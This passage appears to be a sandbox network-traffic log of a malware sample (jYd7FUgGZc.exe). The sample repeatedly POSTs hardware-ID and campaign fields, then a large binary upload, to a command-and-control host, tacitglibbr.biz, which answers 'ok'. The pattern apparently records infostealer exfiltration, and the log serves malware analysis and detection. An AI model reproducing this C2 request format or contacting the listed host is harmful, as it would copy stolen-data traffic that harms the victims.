r1hbdOt9XSqqqUo/ponE6EkRCYuwzf70L3ey97XYLRELK4pguW25by/5vzpRavcZGGA9f+J86sXbdlLyNdwsIGsof0VMaf2LG+lL3+RLBllYAD3McD5P5F6X8tBBCeh13xhbMyuPXEu6+U8dFRr2+oqDeK/i2LykHvfy97XYLRELK4pguW25SQuJq/vUnsetaAQMOqc4n+AqE8KDYPiJdL5JbzMrj1xLuvlPHMW6Z1g5UQnMcD5P5F6X8tECfYo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	188.114.96.6	443	7024	C:\Users\user\Desktop\jYd7FUgGZc.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:23:02 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=R12NG9WNU8ELX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12814 Host: tacitglibbr.biz
2024-12-17 09:23:02 UTC	12814	OUT	Data Raw: 2d 2d 52 31 32 4e 47 39 57 4e 55 38 45 4c 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 33 46 45 34 39 30 45 45 31 33 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 31 32 4e 47 39 57 4e 55 38 45 4c 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 31 32 4e 47 39 57 4e 55 38 45 4c 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 52 31 32 4e 47 39 57 4e 55 38 45 Data Ascii: --R12NG9WNU8ELXContent-Disposition: form-data; name="hwid"463FE490EE1300F1AC8923850305D13E--R12NG9WNU8ELXContent-Disposition: form-data; name="pid"2--R12NG9WNU8ELXContent-Disposition: form-data; name="lid"PsFKDg--pablo--R12NG9WNU8E
2024-12-17 09:23:03 UTC	1047	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6fr9epsbp4jiqejfucgqmb6rv4; expires=Sat, 12-Apr-2025 03:09:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5KZNhQ9MWesEh%2BnFX%2FJYL2FFLeBzUq2HTivr1ezkETdf9VGJilLbXAqUm%2BEK8DSvzewpLg%2FcXr0s94wh200zMbm64e4g%2F%2FBbX6iCHIvQBRf%2FJKDxHN3VitHT5KbKGwosajo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35da23fb5bf78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1524&min_rtt=1516&rtt_var=585&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2840&recv_bytes=13748&delivery_rate=1843434&cwnd=137&unsent_bytes=0&cid=0b3ac5508fe71f00&ts=1058&x=0"
2024-12-17 09:23:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 09:23:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	188.114.96.6	443	7024	C:\Users\user\Desktop\jYd7FUgGZc.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:23:05 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U4RXA7WLTMBV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15040 Host: tacitglibbr.biz
2024-12-17 09:23:05 UTC	15040	OUT	Data Raw: 2d 2d 55 34 52 58 41 37 57 4c 54 4d 42 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 33 46 45 34 39 30 45 45 31 33 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 34 52 58 41 37 57 4c 54 4d 42 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 34 52 58 41 37 57 4c 54 4d 42 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 55 34 52 58 41 37 57 4c 54 4d 42 56 0d 0a Data Ascii: --U4RXA7WLTMBVContent-Disposition: form-data; name="hwid"463FE490EE1300F1AC8923850305D13E--U4RXA7WLTMBVContent-Disposition: form-data; name="pid"2--U4RXA7WLTMBVContent-Disposition: form-data; name="lid"PsFKDg--pablo--U4RXA7WLTMBV
2024-12-17 09:23:07 UTC	1035	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sk4edrfsl60sun57ac6og9ivri; expires=Sat, 12-Apr-2025 03:09:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eWAqTPnmiR9hXeT8nXjcb%2Bm9VdJY7tJYLNRqBUvtaID3UkytETv4AWpDYeItQBZ1INX8S8cwZadHDargQs3yJjEkBUP1uDJ8ggnzqrl2ewulNtU6tHIQGnoc1OAVJtpu9cM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35da3abf047c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2011&min_rtt=2010&rtt_var=756&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2839&recv_bytes=15973&delivery_rate=1445544&cwnd=228&unsent_bytes=0&cid=3ee6626fcbc83bd2&ts=2091&x=0"
2024-12-17 09:23:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 09:23:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49714	188.114.96.6	443	7024	C:\Users\user\Desktop\jYd7FUgGZc.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:23:09 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RRB5LZF1KN8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20359 Host: tacitglibbr.biz
2024-12-17 09:23:09 UTC	15331	OUT	Data Raw: 2d 2d 52 52 42 35 4c 5a 46 31 4b 4e 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 33 46 45 34 39 30 45 45 31 33 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 52 42 35 4c 5a 46 31 4b 4e 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 52 42 35 4c 5a 46 31 4b 4e 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 52 52 42 35 4c 5a 46 31 4b 4e 38 0d 0a 43 6f 6e 74 Data Ascii: --RRB5LZF1KN8Content-Disposition: form-data; name="hwid"463FE490EE1300F1AC8923850305D13E--RRB5LZF1KN8Content-Disposition: form-data; name="pid"3--RRB5LZF1KN8Content-Disposition: form-data; name="lid"PsFKDg--pablo--RRB5LZF1KN8Cont
2024-12-17 09:23:09 UTC	5028	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-17 09:23:10 UTC	1043	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ivu5b6rbsdcmv4ii11p924pdme; expires=Sat, 12-Apr-2025 03:09:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MFtlScbLr5jlkQCmLMV4Ua7vCeCY5W6rIkv3EXCZ43C%2BuSBWmi6IXgfAXsA308vH6%2FlUY3LylsNrNs%2FLjGKWjo4aM2kfUD742xZ5cmWxsO86kNVCPPA%2BDMAMACDWNuRK%2Fe4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35da508b6441ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1674&min_rtt=1669&rtt_var=636&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21313&delivery_rate=1708601&cwnd=252&unsent_bytes=0&cid=c6a9a0e64f477051&ts=1315&x=0"
2024-12-17 09:23:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 09:23:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49721	188.114.96.6	443	7024	C:\Users\user\Desktop\jYd7FUgGZc.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:23:12 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YAIF66UWP34 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1183 Host: tacitglibbr.biz
2024-12-17 09:23:12 UTC	1183	OUT	Data Raw: 2d 2d 59 41 49 46 36 36 55 57 50 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 33 46 45 34 39 30 45 45 31 33 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 41 49 46 36 36 55 57 50 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 41 49 46 36 36 55 57 50 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 59 41 49 46 36 36 55 57 50 33 34 0d 0a 43 6f 6e 74 Data Ascii: --YAIF66UWP34Content-Disposition: form-data; name="hwid"463FE490EE1300F1AC8923850305D13E--YAIF66UWP34Content-Disposition: form-data; name="pid"1--YAIF66UWP34Content-Disposition: form-data; name="lid"PsFKDg--pablo--YAIF66UWP34Cont
2024-12-17 09:23:12 UTC	1033	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s4f1f4sgt4gacu5mfkg4d91nft; expires=Sat, 12-Apr-2025 03:09:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0ulLJqDrKUiU5lgZ0vv5RrjoN3tOwy3jC42%2B9Duao46nLE7A0%2Flc2P5AFW1dKDCdImh5IaFKoc7S8xNozfPaZHwAVqvDL6hDBIq1md9dNPXBBHyFZCoNF5K55BWZAhTi5zU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35da62ecf38c7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2075&min_rtt=2068&rtt_var=781&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2092&delivery_rate=1411992&cwnd=237&unsent_bytes=0&cid=ceb7f71c5095a9f7&ts=659&x=0"
2024-12-17 09:23:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 09:23:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49735	188.114.96.6	443	7024	C:\Users\user\Desktop\jYd7FUgGZc.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:23:15 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MYYAT9FITUO6D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585920 Host: tacitglibbr.biz
2024-12-17 09:23:15 UTC	15331	OUT	Data Raw: 2d 2d 4d 59 59 41 54 39 46 49 54 55 4f 36 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 33 46 45 34 39 30 45 45 31 33 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 59 59 41 54 39 46 49 54 55 4f 36 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 59 59 41 54 39 46 49 54 55 4f 36 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4d 59 59 41 54 39 46 49 54 55 4f Data Ascii: --MYYAT9FITUO6DContent-Disposition: form-data; name="hwid"463FE490EE1300F1AC8923850305D13E--MYYAT9FITUO6DContent-Disposition: form-data; name="pid"1--MYYAT9FITUO6DContent-Disposition: form-data; name="lid"PsFKDg--pablo--MYYAT9FITUO
2024-12-17 09:23:15 UTC	15331	OUT	Data Raw: f6 12 db 0c 50 7a 71 5f ed 63 a2 d3 37 73 4d fd 58 82 fb 8f 9e be a8 e1 d8 c6 7d 98 5a 28 9f c1 dd ac 96 e9 c6 6b 2d c7 f0 c2 95 0a 83 4c f5 a9 b7 a5 80 32 39 ae 75 bb a2 25 d3 7a e0 c4 6a ce d9 60 6a 2d 13 0b ff e4 f8 cc 1c 2c 1f ae d9 8b 83 0b 6b aa bb aa ca 17 7f 1c 06 27 5b 0e f7 99 f6 14 5c 9d 79 75 ac ff ff 6f 03 b0 4f 2c f1 80 6f 83 67 b1 10 b7 b1 73 97 6e 31 e2 f0 37 58 5c 96 d7 fe bd c3 32 c0 1e 68 76 b8 80 52 34 68 24 93 7b 74 80 57 13 17 7c 80 a1 5b a7 8f c6 7a 27 33 0b 75 fc f6 a2 b6 1f 56 af 9c e7 82 2a 2d c2 0e e4 fe 2e 5d ca 74 19 f0 fe 98 41 e5 65 01 c0 bf d3 6d ae c5 67 98 2e 36 57 a7 c6 a4 f2 63 9e 6c 14 26 42 6f fa 95 c6 79 f3 2f 21 0c 35 bb 11 2e fe 29 a0 b9 7d 36 50 ff 81 81 cb 92 69 aa 37 66 5a ad 0f 9e e2 ea 2a 2f c0 c2 88 14 2b 2c Data Ascii: Pzq_c7sMX}Z(k-L29u%zj`j-,k'[\yuoO,ogsn17X\2hvR4h${tW\|[z'3uV-.]tAemg.6Wcl&Boy/!5.)}6Pi7fZ/+,
2024-12-17 09:23:15 UTC	15331	OUT	Data Raw: 8c 0c 4a b7 5e a3 3b d4 31 c5 98 68 a0 9c 1f cf b6 88 d7 c1 63 85 c1 9d ab 50 76 63 a8 33 7c 6c 7c b2 18 11 78 2c a1 c3 36 4d d9 19 e2 ae 83 a1 ee bb 89 c2 41 ca 6d 2d 79 48 8d 5d d6 0b b5 3a f7 af d9 65 ae bf 22 2b 9e 8b d3 4e 09 52 fd 36 a0 b1 9d a5 5a 9f e0 ec cc 23 5b 64 dd 6b 1f d3 94 2d 5d 40 5f a4 00 36 12 e3 55 fa d8 6a 41 d8 90 42 d1 ae ba 6d ae ef d4 d1 21 72 bf c1 a9 0e 42 85 6f fe d7 9a 98 9b d2 d6 e8 2f cc df f7 68 e8 79 79 a1 e2 2a 9d 6e 39 7c 9d e7 e4 1d 86 b2 22 78 76 82 4b aa 60 47 df 04 e6 de 45 f5 9a 7f 0a 82 15 b0 b2 42 ad 52 91 88 0e 8b d4 4f 47 cf 1b 76 af b9 5c 8d e0 83 18 77 ae 1d a4 f2 6e 5d d9 49 0d d1 a8 70 9e b7 65 16 d0 16 cf b1 98 51 02 15 38 99 40 c6 ce b2 55 72 c5 1f 7f e7 06 8a 95 67 5f 07 f8 c9 80 ce 8d fe 01 61 2b fb 5f Data Ascii: J^;1hcPvc3\|l\|x,6MAm-yH]:e"+NR6Z#[dk-]@_6UjABm!rBo/hyy*n9\|"xvK`GEBROGv\wn]IpeQ8@Urg_a+_
2024-12-17 09:23:15 UTC	15331	OUT	Data Raw: 09 d1 e1 1d 9c 95 25 dd 29 ab 25 fa 55 c1 25 14 58 9e df 4f 4b 9a 3a b1 7b 6e a1 5e ce 2c a1 72 ec 16 29 85 56 b5 07 0c 3b 07 6d bf 5f f5 5b 09 c9 c0 17 04 c7 ae 1e 65 2f 24 cf 98 0c 10 29 b2 3c 86 cd 77 df 68 e2 18 b3 5f 76 7b d5 ea a5 04 56 41 a8 db c1 8e 02 45 7f 70 70 a2 ac c4 72 7f ce f8 ba d4 c2 d9 f1 aa e4 7e 34 e0 cc 05 d9 ad 53 d7 5a f4 6d 25 54 be d5 51 b8 f9 eb de 13 df 58 a0 41 8d 39 b7 ec ab d0 e7 76 bf 8f c2 1a c5 c0 49 cb f7 1e a7 3e 13 e7 ad 5e de 65 b5 c5 9c 37 e2 49 ba 38 41 97 0b a6 ee 0e 70 49 d2 02 eb 9a 51 ca 39 56 17 58 9b cf 58 d6 3a 3b 50 80 64 29 0d de ac 8b 7b 01 ce ba 88 ba fb fa 8f 57 29 42 b0 4f d4 7a b0 32 db 59 8f 0b 88 0e 33 5c eb 83 9a 65 b3 50 9e 72 7d 41 53 7a 96 72 55 37 37 35 00 77 df 29 e1 39 2c 08 e7 15 3c 64 57 3c Data Ascii: %)%U%XOK:{n^,r)V;m_[e/$)<wh_v{VAEppr~4SZm%TQXA9vI>^e7I8ApIQ9VXX:;Pd){W)BOz2Y3\ePr}ASzrU775w)9,<dW<
2024-12-17 09:23:15 UTC	15331	OUT	Data Raw: 12 c1 0c ca dc 9e 32 e9 e3 2e e2 6d 83 90 af 3d 05 a0 40 80 2c c8 00 1c 80 1f db 31 19 89 46 7c 4a 24 98 f7 83 10 95 ca 41 76 2a 3c a2 6e 40 e7 59 5e 0f 87 81 7e 4f f0 cf b5 f8 0c 71 25 65 81 78 46 4b 75 55 8b 4e 0a 04 4b 41 07 6f b3 7d d0 e0 e6 32 a2 75 db 91 b2 08 bf 33 1f 40 e1 28 72 a0 80 fe ba e2 4e 1c 62 e7 7a aa ab 0b 7a 14 31 0b 05 25 ea ca ab ae 8d ba 06 db 8d 0b 02 16 9e 4f 02 3e 88 fc 2c a4 f3 b6 20 62 c0 a6 3c 76 80 e1 d2 50 f2 d4 f4 f9 31 87 0c 48 c2 48 5c fa ac 82 fc b1 e2 7a 09 44 2a 44 b3 6e c8 24 c2 71 a9 67 7b 83 4a d5 64 55 b1 90 40 cc 25 33 fd d7 b3 ce 99 2a b2 a1 e1 fe 93 28 8b 43 62 a7 cd 8c ad 8c f7 68 b0 b6 0a 25 e9 29 6a 60 ff 70 a3 eb d6 9f 22 4a 8d 7e dd 03 6e be 3f 90 4b a3 de f8 46 9b 64 88 d6 b6 d6 84 a0 e1 26 01 cc 5b 74 81 Data Ascii: 2.m=@,1F\|J$Av<n@Y^~Oq%exFKuUNKAo}2u3@(rNbzz1%O>, b<vP1HH\zDDn$qg{JdU@%3*(Cbh%)j`p"J~n?KFd&[t
2024-12-17 09:23:15 UTC	15331	OUT	Data Raw: 49 b1 33 39 b6 e5 6e cf 0e 2b a8 90 e5 24 56 ea 9d bd 86 01 95 ff a2 a9 c9 1a 84 7a 08 68 61 37 3b f1 a7 83 8a b3 1f f9 b9 07 1d ef 2d 18 f1 e5 5f 59 5f 18 5a 78 fd a2 59 6f e5 5c 61 60 c7 23 97 ef 9f 31 19 be 47 29 92 39 d6 eb ea ad 8f 8c 59 5a 1c 11 1b 67 30 16 18 c7 94 f9 80 e1 9c bf 30 40 4c 11 07 d3 c4 02 3e 7f ce a2 ca 8d 8a 85 b1 e9 ba c4 d0 04 e4 d2 67 ef ed 59 66 a5 47 62 9c 36 9a 1a be 6c 03 ad ea 53 43 a9 14 40 3b 32 98 a7 6c 42 26 df cc 7d c8 f9 a2 04 f5 55 49 e0 e5 21 d0 3d 75 8e 7e 60 a0 d8 e9 fa 29 06 ac 9c e1 f8 f8 c0 2c 2c 6d 64 90 6e b4 40 69 61 f4 ab 8e 72 64 07 21 e6 0c 04 dc be 9c 7c 03 4b f9 fa e4 a7 36 2a fc ac a9 5d 58 58 56 d6 27 13 41 9a 25 fc 0a 51 54 6c 70 a9 d5 00 82 2e 2f 46 d6 8d a4 04 e0 f2 45 bc 9e 13 e4 c8 45 a7 c3 b9 80 Data Ascii: I39n+$Vzha7;-_Y_ZxYo\a`#1G)9YZg00@L>gYfGb6lSC@;2lB&}UI!=u~`),,mdn@iard!\|K6*]XXV'A%QTlp./FEE
2024-12-17 09:23:15 UTC	15331	OUT	Data Raw: 12 6d 78 0c 32 09 0c 59 69 4a c0 71 47 84 7e 0d 31 79 e1 45 cc 56 ee 8a 79 1c 35 ae 66 6d 35 4e 67 7e 83 2e 80 3d 7c 32 49 a2 0a 9f 1f d7 44 f4 65 0b 70 4d 9f 3a 83 21 10 a4 a1 b4 3a 8a 5c b6 d0 ea ed af ca 32 b0 21 77 e6 12 26 4d cf 18 43 ce 82 ba cb 98 8a e0 32 59 fc d5 82 b1 31 de 31 55 0b 25 b2 3c a5 e7 0e ae 42 00 31 0b b1 04 c0 f5 18 3e fa 59 1e e4 45 d1 b0 0c 8b e0 b8 33 04 54 98 22 af d7 b1 ea 93 f3 a6 f0 ff 98 d4 4c 88 3a 34 73 f8 a7 cc a8 c2 64 c1 22 7f 3e ee 4f 88 d1 fd a2 9e 2e 23 ea ff 9a 57 bd 77 dd 2e 27 e0 2e 3a e2 37 6e db e4 7f 8d 3a f1 a4 10 15 11 af fc 70 5d 6f 9a 26 05 91 0f c1 d5 8e c0 48 41 90 b2 3b 06 d9 f1 ff f8 42 d7 79 09 cd df 3d 2d ba e4 06 1f 5e a3 52 c3 9e 89 d7 44 be ae e7 02 4a ab 6d 70 ea c6 7c 13 c9 da 70 ff 27 3f 3c b2 Data Ascii: mx2YiJqG~1yEVy5fm5Ng~.=\|2IDepM:!:\2!w&MC2Y11U%<B1>YE3T"L:4sd">O.#Ww.'.:7n:p]o&HA;By=-^RDJmp\|p'?<
2024-12-17 09:23:15 UTC	15331	OUT	Data Raw: fa fa cf dd 63 fd b4 27 15 bf 6c 2e 33 cf 88 07 11 d7 9d 05 a2 ff 6a f7 48 8f b2 a0 f8 67 55 f9 1b 7d ba 7b ff d6 48 0f e5 da 65 60 08 6a 0a 5e fc e7 6d f6 d5 51 83 cf 58 5c 64 5e 12 a4 30 15 2c b7 76 34 bf 3b 8c 13 97 30 df bb a2 4e d9 d5 6f ac a4 12 c7 8f b0 76 f8 d2 16 18 f8 9d bc 05 3f 75 26 7c a7 1e 4c 3d 94 42 63 8d ba a8 af f4 4c bc 4a 07 4d 1f 3b ee ef 9e 1b 99 98 cc ab 59 a1 cc a6 b2 6b d3 23 59 25 a3 01 4c c5 74 cf 21 b6 74 dc 6e 38 22 bf b4 ef 91 3f 63 d0 61 de 9e 0a 5f 96 72 ef 4c f6 d4 ad 5c 90 b5 75 da 8b ff 42 a9 b6 f2 b1 a6 0d cd 0c 7f 80 c5 6d 73 6e 6d 5d 2e 7f a0 2b 59 36 37 ba b9 db 74 a8 f2 85 9d 9e 68 95 e8 ec b7 8d d1 aa 85 64 66 57 55 9b 17 ab 91 cd 73 74 3c 68 77 32 55 64 3b 23 e3 d1 82 6f 77 ff c4 84 8e 76 f3 2f 6c 73 d3 a1 41 5e Data Ascii: c'l.3jHgU}{He`j^mQX\d^0,v4;0Nov?u&\|L=BcLJM;Yk#Y%Lt!tn8"?ca_rL\uBmsnm].+Y67thdfWUst<hw2Ud;#owv/lsA^
